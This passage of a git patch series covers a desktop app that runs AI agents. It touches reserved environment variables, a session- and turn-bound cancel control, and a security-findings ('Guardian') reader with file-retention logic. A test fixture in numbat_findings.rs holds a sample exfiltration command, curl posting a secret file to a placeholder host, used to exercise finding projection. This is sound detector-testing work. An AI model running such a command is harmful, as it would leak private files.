TEST_AGENT, "session-safe-01", "channel-safe-01", diff --git a/desktop/src-tauri/src/managed_agents/env_vars.rs b/desktop/src-tauri/src/managed_agents/env_vars.rs index 525c35ca1c..e034a45341 100644 --- a/desktop/src-tauri/src/managed_agents/env_vars.rs +++ b/desktop/src-tauri/src/managed_agents/env_vars.rs @@ -63,6 +63,7 @@ pub(crate) const RESERVED_ENV_KEYS: &[&str] = &[ "BUZZ_API_TOKEN", "BUZZ_ACP_PRIVATE_KEY", "BUZZ_ACP_API_TOKEN", + "BUZZ_MANAGED_AGENT_PUBKEY", // Relay URL: overriding would let a malicious config redirect the // agent to an attacker-controlled relay. "BUZZ_RELAY_URL", diff --git a/desktop/src-tauri/src/managed_agents/runtime.rs b/desktop/src-tauri/src/managed_agents/runtime.rs index bb82f2aed8..26f4a9416a 100644 --- a/desktop/src-tauri/src/managed_agents/runtime.rs +++ b/desktop/src-tauri/src/managed_agents/runtime.rs @@ -578,6 +578,7 @@ pub fn spawn_agent_child( } command.env("RUST_LOG", child_rust_log_filter()); command.env("BUZZ_PRIVATE_KEY", &record.private_key_nsec); + command.env("BUZZ_MANAGED_AGENT_PUBKEY", &record.pubkey); command.env("BUZZ_RELAY_URL", &effective_relay_url); command.env("BUZZ_ACP_LAZY_POOL", if lazy { "true" } else { "false" }); command.env("BUZZ_ACP_AGENT_COMMAND", &resolved_agent_command); From 4b17b9d9bdcd3b2ad0fb88ae5839ac1f337f8d6f Mon Sep 17 00:00:00 2001 From: gagan114662 Date: Fri, 31 Jul 2026 11:59:57 -0400 Subject: [PATCH 06/27] Clear desktop check debt Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- desktop/scripts/check-file-sizes.mjs | 8 -- .../src-tauri/src/managed_agents/runtime.rs | 88 +------------------ .../src/managed_agents/runtime/env_config.rs | 85 ++++++++++++++++++ .../agents/lib/personaCatalogRelay.test.mjs | 4 +- 4 files changed, 91 insertions(+), 94 deletions(-) create mode 100644 desktop/src-tauri/src/managed_agents/runtime/env_config.rs diff --git a/desktop/scripts/check-file-sizes.mjs b/desktop/scripts/check-file-sizes.mjs index f8ee32dfab..b1b7e108d5 100644 --- a/desktop/scripts/check-file-sizes.mjs +++ b/desktop/scripts/check-file-sizes.mjs @@ -191,14 +191,6 @@ const overrides = new Map([ // +26: BYOH pass-2 I3 — 2 collector-decision tests for receipt path // ownership (valid_agent_runtime_receipt uses buzz_sweep_owns_process). ["src-tauri/src/managed_agents/runtime/tests.rs", 1320], - // runtime.rs re-entered the list after the #1968 merge: main's - // definition-authoritative resolver comments grew it to 982, and the BYOH - // typed harness-descriptor resolution in spawn_agent_child landed on top at - // 1020. The session-title env write in spawn_agent_child adds 12. - // Queued to shrink with the next runtime split pass (#2974 follow-up). - // +1: #3023 credential-helper slash normalization (MinGW bash treats - // backslashes as escapes). - ["src-tauri/src/managed_agents/runtime.rs", 1033], // applyWorkspace reposDir parameter plus the validateReposDir binding, // threaded through Tauri invokes for configurable repos_dir, plus the // harness-persona-sync `harnessOverride` create-input bit — load-bearing diff --git a/desktop/src-tauri/src/managed_agents/runtime.rs b/desktop/src-tauri/src/managed_agents/runtime.rs index 26f4a9416a..a6e6ee4972 100644 --- a/desktop/src-tauri/src/managed_agents/runtime.rs +++ b/desktop/src-tauri/src/managed_agents/runtime.rs @@ -8,8 +8,8 @@ use crate::{ managed_agents::{ append_log_marker, known_acp_runtime, login_shell_path, managed_agent_log_path, missing_command_message, normalize_agent_args, open_log_file, resolve_command, - spawn_key_refusal, KnownAcpRuntime, ManagedAgentPairRuntime, ManagedAgentRecord, - ManagedAgentRuntimeKey, ManagedAgentSummary, + spawn_key_refusal, ManagedAgentPairRuntime, ManagedAgentRecord, ManagedAgentRuntimeKey, + ManagedAgentSummary, }, util::now_iso, }; @@ -33,7 +33,8 @@ pub use stop::{stop_managed_agent_process, stop_managed_agent_workspace_pair}; mod sweep; pub(crate) use sweep::sweep_untracked_bundle_harnesses; -type RespondToEnv = (Vec<(&'static str, String)>, Vec<&'static str>); +mod env_config; +pub(crate) use env_config::{build_respond_to_env, configure_runtime_cli}; mod process; #[cfg(test)] @@ -364,87 +365,6 @@ pub fn find_managed_agent_mut<'a>( .ok_or_else(|| format!("agent {pubkey} not found")) } -/// Pure decision function for the inbound author gate env vars. -/// -/// Returns the env vars to **set** and the env vars to **remove**. Removal is -/// belt-and-suspenders: an inherited parent env var must not leak into a -/// child agent and silently change its security posture. -/// -/// The `owner_hex` argument is the current workspace owner pubkey. It's used -/// as a fallback for legacy records (`auth_tag.is_none()`) — without it, the -/// harness's owner cache stays empty and `owner-only` / `allowlist` modes -/// drop everything. -/// -/// Returns `Err(...)` if the record's allowlist fails validation. The harness -/// validates too, but doing it here means we never spawn a doomed process. -pub(crate) fn build_respond_to_env( - record: &ManagedAgentRecord, - owner_hex: Option<&str>, -) -> Result { - // Defensive re-validation: an on-disk record could have been hand-edited. - let normalized = super::types::validate_respond_to_allowlist(&record.respond_to_allowlist)?; - if record.respond_to == super::types::RespondTo::Allowlist && normalized.is_empty() { - return Err( - "respond-to mode 'allowlist' requires at least one pubkey in the allowlist".to_string(), - ); - } - - let mut set: Vec<(&'static str, String)> = Vec::new(); - let mut remove: Vec<&'static str> = Vec::new(); - - set.push(( - "BUZZ_ACP_RESPOND_TO", - record.respond_to.as_str().to_string(), - )); - - if record.respond_to == super::types::RespondTo::Allowlist { - set.push(("BUZZ_ACP_RESPOND_TO_ALLOWLIST", normalized.join(","))); - } else { - remove.push("BUZZ_ACP_RESPOND_TO_ALLOWLIST"); - } - - // Legacy fallback: agents created before NIP-OA lack `auth_tag`. Without - // it the harness can't resolve the owner, and owner-dependent gate modes - // would drop every event. Forwarding the workspace owner pubkey via - // BUZZ_ACP_AGENT_OWNER keeps those records functional. Modern records - // (`auth_tag = Some(...)`) use `BUZZ_AUTH_TAG` as before. - if record.auth_tag.is_none() { - if let Some(owner) = owner_hex { - set.push(("BUZZ_ACP_AGENT_OWNER", owner.to_string())); - } else { - remove.push("BUZZ_ACP_AGENT_OWNER"); - } - } else { - remove.push("BUZZ_ACP_AGENT_OWNER"); - } - - Ok((set, remove)) -} - -pub(crate) fn configure_runtime_cli( - command: &mut std::process::Command, - runtime: Option<&KnownAcpRuntime>, -) { - let Some(runtime) = runtime else { - return; - }; - if runtime.id != "claude" { - return; - } - if let Some(cli_path) = runtime.underlying_cli.and_then(resolve_command) { - // On Windows, `.cmd` and `.bat` files are batch shims — they cannot be - // passed directly to `CreateProcess` and cause EINVAL when the Claude - // adapter tries to spawn them (issue #2397). Skip setting - // `CLAUDE_CODE_EXECUTABLE` for shim paths so the adapter falls back to - // its own PATH lookup and finds the real binary instead. - // Non-Windows: `.cmd`/`.bat` are valid executables and must be assigned. - if should_skip_claude_executable(&cli_path, cfg!(windows)) { - return; - } - command.env("CLAUDE_CODE_EXECUTABLE", cli_path); - } -} - /// Spawn an agent process without holding any locks on records or runtimes. /// Returns the child process and log path on success. The caller is responsible /// for updating `ManagedAgentRecord` fields and inserting into the runtimes map. diff --git a/desktop/src-tauri/src/managed_agents/runtime/env_config.rs b/desktop/src-tauri/src/managed_agents/runtime/env_config.rs new file mode 100644 index 0000000000..27e1a21db1 --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/runtime/env_config.rs @@ -0,0 +1,85 @@ +use std::process::Command; + +use crate::managed_agents::{resolve_command, KnownAcpRuntime, ManagedAgentRecord}; + +type RespondToEnv = (Vec<(&'static str, String)>, Vec<&'static str>); + +/// Pure decision function for the inbound author gate env vars. +/// +/// Returns the env vars to **set** and the env vars to **remove**. Removal is +/// belt-and-suspenders: an inherited parent env var must not leak into a +/// child agent and silently change its security posture. +/// +/// The `owner_hex` argument is the current workspace owner pubkey. It's used +/// as a fallback for legacy records (`auth_tag.is_none()`) — without it, the +/// harness's owner cache stays empty and `owner-only` / `allowlist` modes +/// drop everything. +/// +/// Returns `Err(...)` if the record's allowlist fails validation. The harness +/// validates too, but doing it here means we never spawn a doomed process. +pub(crate) fn build_respond_to_env( + record: &ManagedAgentRecord, + owner_hex: Option<&str>, +) -> Result { + let normalized = + crate::managed_agents::types::validate_respond_to_allowlist(&record.respond_to_allowlist)?; + if record.respond_to == crate::managed_agents::types::RespondTo::Allowlist + && normalized.is_empty() + { + return Err( + "respond-to mode 'allowlist' requires at least one pubkey in the allowlist".to_string(), + ); + } + + let mut set: Vec<(&'static str, String)> = Vec::new(); + let mut remove: Vec<&'static str> = Vec::new(); + + set.push(( + "BUZZ_ACP_RESPOND_TO", + record.respond_to.as_str().to_string(), + )); + + if record.respond_to == crate::managed_agents::types::RespondTo::Allowlist { + set.push(("BUZZ_ACP_RESPOND_TO_ALLOWLIST", normalized.join(","))); + } else { + remove.push("BUZZ_ACP_RESPOND_TO_ALLOWLIST"); + } + + // Legacy fallback: agents created before NIP-OA lack `auth_tag`. Without + // it the harness can't resolve the owner, and owner-dependent gate modes + // would drop every event. Forwarding the workspace owner pubkey via + // BUZZ_ACP_AGENT_OWNER keeps those records functional. Modern records + // (`auth_tag = Some(...)`) use `BUZZ_AUTH_TAG` as before. + if record.auth_tag.is_none() { + if let Some(owner) = owner_hex { + set.push(("BUZZ_ACP_AGENT_OWNER", owner.to_string())); + } else { + remove.push("BUZZ_ACP_AGENT_OWNER"); + } + } else { + remove.push("BUZZ_ACP_AGENT_OWNER"); + } + + Ok((set, remove)) +} + +pub(crate) fn configure_runtime_cli(command: &mut Command, runtime: Option<&KnownAcpRuntime>) { + let Some(runtime) = runtime else { + return; + }; + if runtime.id != "claude" { + return; + } + if let Some(cli_path) = runtime.underlying_cli.and_then(resolve_command) { + // On Windows, `.cmd` and `.bat` files are batch shims — they cannot be + // passed directly to `CreateProcess` and cause EINVAL when the Claude + // adapter tries to spawn them (issue #2397). Skip setting + // `CLAUDE_CODE_EXECUTABLE` for shim paths so the adapter falls back to + // its own PATH lookup and finds the real binary instead. + // Non-Windows: `.cmd`/`.bat` are valid executables and must be assigned. + if super::should_skip_claude_executable(&cli_path, cfg!(windows)) { + return; + } + command.env("CLAUDE_CODE_EXECUTABLE", cli_path); + } +} diff --git a/desktop/src/features/agents/lib/personaCatalogRelay.test.mjs b/desktop/src/features/agents/lib/personaCatalogRelay.test.mjs index 24f6959b1c..30bdf3eadb 100644 --- a/desktop/src/features/agents/lib/personaCatalogRelay.test.mjs +++ b/desktop/src/features/agents/lib/personaCatalogRelay.test.mjs @@ -332,7 +332,7 @@ test("test_foreign_entry_with_no_local_copy_stays_unselected", () => { BOB, ); - assert.equal(personas[0].id, "catalog:" + ALICE + ":reviewer"); + assert.equal(personas[0].id, `catalog:${ALICE}:reviewer`); assert.equal(personas[0].isActive, false); }); @@ -353,7 +353,7 @@ test("test_catalog_source_match_is_scoped_to_the_publishing_owner", () => { ALICE, ); - assert.equal(personas[0].id, "catalog:" + BOB + ":reviewer"); + assert.equal(personas[0].id, `catalog:${BOB}:reviewer`); assert.equal(personas[0].isActive, false); }); From 93a12ed1c5bf7a141d3ca1bfe044565ce7bb0859 Mon Sep 17 00:00:00 2001 From: gagan114662 Date: Fri, 31 Jul 2026 12:29:17 -0400 Subject: [PATCH 07/27] Complete Guardian finding control loop Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- crates/buzz-acp/src/lib.rs | 74 ++++++++++++++++++- .../src-tauri/src/commands/numbat_findings.rs | 49 ++---------- .../agents/ui/NumbatSecurityFindings.tsx | 17 +++++ .../channels/ui/AgentSessionThreadPanel.tsx | 16 +++- desktop/src/shared/api/agentControl.ts | 4 + desktop/src/shared/api/types.ts | 2 +- 6 files changed, 114 insertions(+), 48 deletions(-) diff --git a/crates/buzz-acp/src/lib.rs b/crates/buzz-acp/src/lib.rs index ec2a7c0483..c54194744c 100644 --- a/crates/buzz-acp/src/lib.rs +++ b/crates/buzz-acp/src/lib.rs @@ -906,16 +906,27 @@ fn handle_cancel_turn_control( return; }; - let fired = signal_in_flight_task(pool, channel_id, ControlSignal::Cancel); - let status = if fired { "sent" } else { "no_active_turn" }; + let Some(expected_session_id) = payload.get("sessionId").and_then(|value| value.as_str()) + else { + tracing::warn!("observer cancel_turn control frame missing sessionId"); + return; + }; + let Some(expected_turn_id) = payload.get("turnId").and_then(|value| value.as_str()) else { + tracing::warn!("observer cancel_turn control frame missing turnId"); + return; + }; + + let fired = + signal_expected_in_flight_task(pool, channel_id, expected_turn_id, ControlSignal::Cancel); + let status = if fired { "sent" } else { "context_mismatch" }; if let Some(observer) = observer { observer.emit( "control_result", None, &observer::ObserverContext { channel_id: Some(channel_id.to_string()), - session_id: None, - turn_id: None, + session_id: Some(expected_session_id.to_string()), + turn_id: Some(expected_turn_id.to_string()), started_at: None, }, serde_json::json!({ @@ -2777,6 +2788,28 @@ fn signal_in_flight_task( false } +/// Send a control signal only when the signed observer context still names +/// the exact in-flight turn. A delayed control frame cannot cancel its successor. +fn signal_expected_in_flight_task( + pool: &mut AgentPool, + channel_id: uuid::Uuid, + expected_turn_id: &str, + mode: ControlSignal, +) -> bool { + let entry = pool + .task_map_mut() + .values_mut() + .find(|meta| meta.channel_id == Some(channel_id) && meta.turn_id == expected_turn_id); + if let Some(meta) = entry { + if let Some(tx) = meta.control_tx.take() { + tracing::info!(channel = %channel_id, turn = expected_turn_id, ?mode, "context-bound control signal sent"); + let _ = tx.send(mode); + return true; + } + } + false +} + /// Attempt the non-cancelling (ACP) steer for a freshly-queued event. /// /// Caller invariants: @@ -4382,6 +4415,39 @@ mod owner_control_command_tests { ControlSignal::Rotate )); } + + #[tokio::test] + async fn expected_turn_signal_rejects_stale_turn_without_consuming_control() { + let mut pool = AgentPool::from_slots(vec![]); + let channel_id = Uuid::new_v4(); + let (control_tx, control_rx) = tokio::sync::oneshot::channel(); + let abort_handle = pool.join_set.spawn(async {}); + pool.task_map_mut().insert( + abort_handle.id(), + pool::TaskMeta { + agent_index: 0, + channel_id: Some(channel_id), + turn_id: "current-turn".to_string(), + recoverable_batch: None, + control_tx: Some(control_tx), + steer_tx: None, + }, + ); + + assert!(!signal_expected_in_flight_task( + &mut pool, + channel_id, + "stale-turn", + ControlSignal::Cancel, + )); + assert!(signal_expected_in_flight_task( + &mut pool, + channel_id, + "current-turn", + ControlSignal::Cancel, + )); + assert_eq!(control_rx.await.unwrap(), ControlSignal::Cancel); + } } #[cfg(test)] diff --git a/desktop/src-tauri/src/commands/numbat_findings.rs b/desktop/src-tauri/src/commands/numbat_findings.rs index 5af4c8498c..2beb99b046 100644 --- a/desktop/src-tauri/src/commands/numbat_findings.rs +++ b/desktop/src-tauri/src/commands/numbat_findings.rs @@ -66,19 +66,9 @@ struct NumbatFindingRecord { #[serde(default)] session_id: Option, #[serde(default)] - buzz_context: Option, - #[serde(default)] cited_event_ids: Vec, } -#[derive(Debug, Deserialize)] -struct NumbatBuzzContext { - #[serde(default)] - channel_id: Option, - #[serde(default)] - turn_id: Option, -} - fn numbat_dir(app: &AppHandle) -> Result { Ok(managed_agents_base_dir(app)?.join("numbat")) } @@ -164,12 +154,13 @@ fn project_finding( if session_id != expected_session_id { return None; } - let source_context = record.buzz_context?; - let channel_id = source_context.channel_id.and_then(safe_identifier)?; - let turn_id = source_context.turn_id.and_then(safe_identifier)?; - if channel_id != expected_channel_id || turn_id != expected_turn_id { - return None; - } + // Numbat's v0.2.0 finding schema deliberately has no Buzz-specific + // context fields (and rejects unknown properties). The runtime session id + // is the portable join key. The channel and turn supplied here come from + // the owner-decrypted observer stream for that exact session; they are + // projection context, not claims parsed from the Numbat record. + let channel_id = safe_identifier(expected_channel_id.to_string())?; + let turn_id = safe_identifier(expected_turn_id.to_string())?; Some(NumbatFindingProjection { finding_id: safe_identifier(record.finding_id)?, @@ -504,10 +495,6 @@ mod tests { "detected_at": "2026-07-30T14:40:00Z", "source_agent": "codex", "session_id": "session-safe-01", - "buzz_context": { - "channel_id": "channel-safe-01", - "turn_id": "turn-safe-01" - }, "cited_event_ids": ["event-sensitive-secret-read-id", "event-sensitive-egress-id"], "observed_command": "curl --data-binary @/private/secret https://example.invalid", "project_path_hash": "sha256:sensitive-project", @@ -692,7 +679,7 @@ mod tests { } #[test] - fn only_projects_exact_complete_source_context() { + fn projects_owner_observer_context_only_after_exact_session_match() { let projected = project_finding( finding_json(serde_json::json!({})).as_bytes(), TEST_AGENT, @@ -712,26 +699,6 @@ mod tests { "turn-safe-01", ) .is_none()); - assert!(project_finding( - finding_json(serde_json::json!({"buzz_context": null})).as_bytes(), - TEST_AGENT, - "session-safe-01", - "channel-safe-01", - "turn-safe-01", - ) - .is_none()); - assert!(project_finding( - finding_json(serde_json::json!({ - "buzz_context": {"channel_id": "other", "turn_id": "turn-safe-01"} - })) - .as_bytes(), - TEST_AGENT, - "session-safe-01", - "channel-safe-01", - "turn-safe-01", - ) - .is_none()); - assert!(project_finding( finding_json(serde_json::json!({"source_agent": "bad source"})).as_bytes(), TEST_AGENT, diff --git a/desktop/src/features/agents/ui/NumbatSecurityFindings.tsx b/desktop/src/features/agents/ui/NumbatSecurityFindings.tsx index 7eed8d079f..df28c2e4ee 100644 --- a/desktop/src/features/agents/ui/NumbatSecurityFindings.tsx +++ b/desktop/src/features/agents/ui/NumbatSecurityFindings.tsx @@ -2,12 +2,14 @@ import { ShieldAlert } from "lucide-react"; import type { NumbatFinding } from "@/shared/api/tauriNumbat"; import { Badge } from "@/shared/ui/badge"; +import { Button } from "@/shared/ui/button"; import { cn } from "@/shared/lib/cn"; export function NumbatSecurityFindings({ error, findings, health, + onCancelTurn, }: { error: string | null; findings: NumbatFinding[]; @@ -15,6 +17,7 @@ export function NumbatSecurityFindings({ state: "configured" | "disconnected" | "unsupported" | "stale"; detail: string; } | null; + onCancelTurn?: () => void; }) { if (findings.length === 0 && !error && !health) return null; @@ -71,6 +74,20 @@ export function NumbatSecurityFindings({

{finding.ruleId}

+ {(finding.severity === "high" || + finding.severity === "critical") && + onCancelTurn ? ( + + ) : null}
diff --git a/desktop/src/features/channels/ui/AgentSessionThreadPanel.tsx b/desktop/src/features/channels/ui/AgentSessionThreadPanel.tsx index a1b237d1e1..c2d8c33168 100644 --- a/desktop/src/features/channels/ui/AgentSessionThreadPanel.tsx +++ b/desktop/src/features/channels/ui/AgentSessionThreadPanel.tsx @@ -258,12 +258,17 @@ export function AgentSessionThreadPanel({ const animateActivity = useTranscriptAnimationEnabled(); const showTimestamps = useTranscriptTimestampsEnabled(); async function handleInterruptTurn() { - if (!channel) { + if (!channel || !activeSessionId || !latestTurnId) { return; } try { - await cancelManagedAgentTurn(agent.pubkey, channel.id); + await cancelManagedAgentTurn( + agent.pubkey, + channel.id, + activeSessionId, + latestTurnId, + ); toast.success( `Stop signal sent to ${agent.name}. It may take a moment to respond.`, ); @@ -483,6 +488,13 @@ export function AgentSessionThreadPanel({ error={numbatFindings.error} findings={numbatFindings.findings} health={numbatFindings.health} + onCancelTurn={ + canStopCurrentTurn && activeSessionId && latestTurnId + ? () => { + void handleInterruptTurn(); + } + : undefined + } /> { await sendAgentObserverControl(pubkey, { type: "cancel_turn", channelId, + sessionId, + turnId, }); return { status: "sent" }; } diff --git a/desktop/src/shared/api/types.ts b/desktop/src/shared/api/types.ts index 689c400b03..693c016a44 100644 --- a/desktop/src/shared/api/types.ts +++ b/desktop/src/shared/api/types.ts @@ -476,7 +476,7 @@ export type ManagedAgentLog = { }; export type CancelManagedAgentTurnResult = { - status: "sent" | "no_active_turn"; + status: "sent" | "context_mismatch"; }; /** From 0c2e81eecef27e4b059773f8fa31bee3c5e03e14 Mon Sep 17 00:00:00 2001 From: gagan114662 Date: Fri, 31 Jul 2026 14:28:53 -0400 Subject: [PATCH 08/27] feat(guardian): verify callbacks and bound retention Co-authored-by: gagan114662 Signed-off-by: gagan114662 --- desktop/playwright.config.ts | 1 + .../src-tauri/src/commands/numbat_findings.rs | 203 ++++++++++++++++-- .../agents/ui/NumbatSecurityFindings.tsx | 2 +- .../features/agents/ui/useNumbatFindings.ts | 2 +- desktop/src/shared/api/tauriNumbat.ts | 2 +- desktop/src/testing/e2eBridge.ts | 41 +++- desktop/tests/e2e/guardian-findings.spec.ts | 90 ++++++++ desktop/tests/helpers/bridge.ts | 18 ++ 8 files changed, 330 insertions(+), 29 deletions(-) create mode 100644 desktop/tests/e2e/guardian-findings.spec.ts diff --git a/desktop/playwright.config.ts b/desktop/playwright.config.ts index 0d89b8e2d2..df3a198b80 100644 --- a/desktop/playwright.config.ts +++ b/desktop/playwright.config.ts @@ -44,6 +44,7 @@ export default defineConfig({ "**/profile-active-turn.spec.ts", "**/config-bridge-screenshots.spec.ts", "**/observer-feed-screenshots.spec.ts", + "**/guardian-findings.spec.ts", "**/core-memory-screenshots.spec.ts", "**/activity-scope-label-screenshots.spec.ts", "**/welcome-agent-modal-screenshots.spec.ts", diff --git a/desktop/src-tauri/src/commands/numbat_findings.rs b/desktop/src-tauri/src/commands/numbat_findings.rs index 2beb99b046..5c291d04ec 100644 --- a/desktop/src-tauri/src/commands/numbat_findings.rs +++ b/desktop/src-tauri/src/commands/numbat_findings.rs @@ -1,6 +1,7 @@ use std::{ + collections::HashSet, fs::{File, OpenOptions}, - io::{Read as _, Seek as _, SeekFrom}, + io::{Read as _, Seek as _, SeekFrom, Write as _}, path::{Path, PathBuf}, process::{Command, Stdio}, sync::{Mutex, OnceLock}, @@ -19,8 +20,13 @@ const MAX_LINE_BYTES: usize = 64 * 1024; const MAX_RECORDS_PER_BATCH: usize = 200; const MAX_IDENTIFIER_CHARS: usize = 160; const MAX_LOCAL_RECORD_BYTES: u64 = 8 * 1024 * 1024; +const CURSOR_OFFSET_BITS: u32 = 32; +const CURSOR_OFFSET_MASK: u64 = (1_u64 << CURSOR_OFFSET_BITS) - 1; +const CURSOR_GENERATION_MASK: u64 = (1_u64 << 21) - 1; const NUMBAT_INSTALL_TIMEOUT: Duration = Duration::from_secs(10); +const RETENTION_CHECK_INTERVAL: Duration = Duration::from_secs(30); static NUMBAT_INSTALL_LOCK: OnceLock> = OnceLock::new(); +static NUMBAT_RETENTION_WORKERS: OnceLock>> = OnceLock::new(); #[derive(Debug, Serialize, PartialEq, Eq)] #[serde(rename_all = "camelCase")] @@ -54,6 +60,15 @@ pub struct NumbatGuardianHealth { detail: String, } +fn active_health() -> NumbatGuardianHealth { + NumbatGuardianHealth { + state: "active".into(), + detail: + "Guardian callback execution is verified by a valid finding from this managed runtime." + .into(), + } +} + #[derive(Debug, Deserialize)] struct NumbatFindingRecord { schema_version: String, @@ -200,6 +215,59 @@ fn align_to_next_record(file: &mut File, start: u64) -> Result { .map_err(|error| format!("failed to locate Numbat record end: {error}")) } +#[cfg(unix)] +fn findings_generation(path: &Path) -> Result { + use std::os::unix::fs::MetadataExt as _; + path.metadata() + .map(|metadata| metadata.ino() & CURSOR_GENERATION_MASK) + .or_else(|error| { + if error.kind() == std::io::ErrorKind::NotFound { + Ok(0) + } else { + Err(error) + } + }) + .map_err(|error| format!("failed to identify Guardian storage: {error}")) +} + +#[cfg(not(unix))] +fn findings_generation(path: &Path) -> Result { + path.metadata() + .and_then(|metadata| metadata.modified()) + .and_then(|modified| { + modified + .duration_since(std::time::UNIX_EPOCH) + .map_err(std::io::Error::other) + }) + .map(|duration| duration.as_nanos() as u64 & CURSOR_GENERATION_MASK) + .or_else(|error| { + if error.kind() == std::io::ErrorKind::NotFound { + Ok(0) + } else { + Err(error) + } + }) + .map_err(|error| format!("failed to identify Guardian storage: {error}")) +} + +fn encode_cursor(generation: u64, offset: u64) -> Result { + if offset > CURSOR_OFFSET_MASK { + return Err("Guardian cursor offset exceeds its supported range".into()); + } + Ok((generation << CURSOR_OFFSET_BITS) | offset) +} + +fn decode_cursor(cursor: u64, generation: u64) -> (u64, bool) { + if cursor == 0 { + return (0, false); + } + let cursor_generation = cursor >> CURSOR_OFFSET_BITS; + if cursor_generation != generation { + return (0, true); + } + (cursor & CURSOR_OFFSET_MASK, false) +} + fn read_numbat_findings_from_path( path: &Path, requested_offset: u64, @@ -322,6 +390,76 @@ fn set_private_permissions(_path: &Path, _mode: u32) -> Result<(), String> { Err("Guardian evidence storage is disabled because owner-only permissions are unavailable on this platform.".into()) } +fn enforce_continuous_retention(path: &Path) -> Result { + let file_len = match path.metadata() { + Ok(metadata) => metadata.len(), + Err(error) if error.kind() == std::io::ErrorKind::NotFound => return Ok(false), + Err(error) => return Err(format!("failed to inspect Guardian storage: {error}")), + }; + if file_len <= MAX_LOCAL_RECORD_BYTES { + return Ok(false); + } + + let mut source = File::open(path) + .map_err(|error| format!("failed to open Guardian storage for retention: {error}"))?; + let start = align_to_next_record(&mut source, file_len.saturating_sub(MAX_BACKLOG_BYTES))?; + source + .seek(SeekFrom::Start(start)) + .map_err(|error| format!("failed to seek Guardian storage for retention: {error}"))?; + let mut retained = Vec::with_capacity((file_len - start) as usize); + source + .read_to_end(&mut retained) + .map_err(|error| format!("failed to read Guardian storage for retention: {error}"))?; + + let temporary = path.with_extension("retention.tmp"); + let mut options = OpenOptions::new(); + options.create(true).truncate(true).write(true); + #[cfg(unix)] + { + use std::os::unix::fs::OpenOptionsExt as _; + options.mode(0o600); + } + let mut target = options + .open(&temporary) + .map_err(|error| format!("failed to create retained Guardian storage: {error}"))?; + target + .write_all(&retained) + .and_then(|()| target.sync_all()) + .map_err(|error| format!("failed to persist retained Guardian storage: {error}"))?; + set_private_permissions(&temporary, 0o600)?; + std::fs::rename(&temporary, path) + .map_err(|error| format!("failed to replace Guardian storage after retention: {error}"))?; + Ok(true) +} + +fn start_retention_worker(app: AppHandle, agent_pubkey: String) { + let workers = NUMBAT_RETENTION_WORKERS.get_or_init(|| Mutex::new(HashSet::new())); + let Ok(mut workers) = workers.lock() else { + return; + }; + if !workers.insert(agent_pubkey.clone()) { + return; + } + drop(workers); + + std::thread::spawn(move || loop { + std::thread::sleep(RETENTION_CHECK_INTERVAL); + let Ok(path) = numbat_findings_path(&app, &agent_pubkey) else { + return; + }; + if let Err(detail) = enforce_continuous_retention(&path) { + write_health( + &app, + &agent_pubkey, + &NumbatGuardianHealth { + state: "stale".into(), + detail, + }, + ); + } + }); +} + fn run_numbat_install( binary: &Path, runtime: &str, @@ -396,18 +534,7 @@ fn prepare_numbat_monitoring(app: &AppHandle, runtime: &str, agent_pubkey: &str) .map_err(|error| format!("failed to create Guardian storage: {error}"))?; set_private_permissions(&dir, 0o700)?; let findings = numbat_findings_path(app, agent_pubkey)?; - if findings - .metadata() - .is_ok_and(|meta| meta.len() > MAX_LOCAL_RECORD_BYTES) - { - let previous = dir.join(format!("{agent_pubkey}.previous.ndjson")); - if previous.exists() { - std::fs::remove_file(&previous) - .map_err(|error| format!("failed to rotate Guardian storage: {error}"))?; - } - std::fs::rename(&findings, previous) - .map_err(|error| format!("failed to rotate Guardian storage: {error}"))?; - } + enforce_continuous_retention(&findings)?; let mut options = OpenOptions::new(); options.create(true).append(true); #[cfg(unix)] @@ -440,6 +567,9 @@ fn prepare_numbat_monitoring(app: &AppHandle, runtime: &str, agent_pubkey: &str) }, }; write_health(app, agent_pubkey, &health); + if health.state == "configured" { + start_retention_worker(app.clone(), agent_pubkey.to_string()); + } } pub(crate) fn prepare_numbat_monitoring_async( @@ -463,17 +593,26 @@ pub fn read_numbat_findings( turn_id: Option, ) -> Result { let path = numbat_findings_path(&app, &agent_pubkey)?; + let generation = findings_generation(&path)?; + let (physical_offset, generation_reset) = decode_cursor(offset.unwrap_or(0), generation); let expected_context = session_id .as_deref() .zip(channel_id.as_deref()) .zip(turn_id.as_deref()) .map(|((session, channel), turn)| (agent_pubkey.as_str(), session, channel, turn)); - read_numbat_findings_from_path( + let mut batch = read_numbat_findings_from_path( &path, - offset.unwrap_or(0), + physical_offset, expected_context, read_health(&app, &agent_pubkey), - ) + )?; + batch.reset |= generation_reset; + batch.next_offset = encode_cursor(generation, batch.next_offset)?; + if !batch.findings.is_empty() && batch.health.state != "active" { + batch.health = active_health(); + write_health(&app, &agent_pubkey, &batch.health); + } + Ok(batch) } #[cfg(test)] @@ -678,6 +817,38 @@ mod tests { assert_eq!(batch.findings.len(), 1); } + #[test] + fn continuous_retention_keeps_complete_recent_records() { + let dir = tempfile::tempdir().expect("tempdir"); + let path = dir.path().join("findings.ndjson"); + let padding = format!("{{\"padding\":\"{}\"}}\n", "x".repeat(1024)); + let mut file = File::create(&path).expect("create"); + while file.stream_position().expect("position") <= MAX_LOCAL_RECORD_BYTES { + file.write_all(padding.as_bytes()).expect("write padding"); + } + let newest = finding_json(serde_json::json!({"finding_id": "fnd-newest"})); + writeln!(file, "{newest}").expect("write newest"); + file.sync_all().expect("sync"); + drop(file); + + assert!(enforce_continuous_retention(&path).expect("retain")); + let retained = std::fs::read(&path).expect("read retained"); + assert!(retained.len() as u64 <= MAX_BACKLOG_BYTES + MAX_LINE_BYTES as u64); + assert!(retained.ends_with(format!("{newest}\n").as_bytes())); + assert!(!retained.starts_with(b"x")); + assert!(!enforce_continuous_retention(&path).expect("already bounded")); + } + + #[test] + fn cursor_resets_when_retention_replaces_the_file_generation() { + let cursor = encode_cursor(41, 12_345).expect("cursor"); + assert_eq!(decode_cursor(cursor, 41), (12_345, false)); + assert_eq!(decode_cursor(cursor, 42), (0, true)); + assert_eq!(decode_cursor(0, 42), (0, false)); + assert!(encode_cursor(1, CURSOR_OFFSET_MASK + 1).is_err()); + assert!(cursor <= (1_u64 << 53) - 1, "cursor must be exact in JS"); + } + #[test] fn projects_owner_observer_context_only_after_exact_session_match() { let projected = project_finding( diff --git a/desktop/src/features/agents/ui/NumbatSecurityFindings.tsx b/desktop/src/features/agents/ui/NumbatSecurityFindings.tsx index df28c2e4ee..c55a9b4886 100644 --- 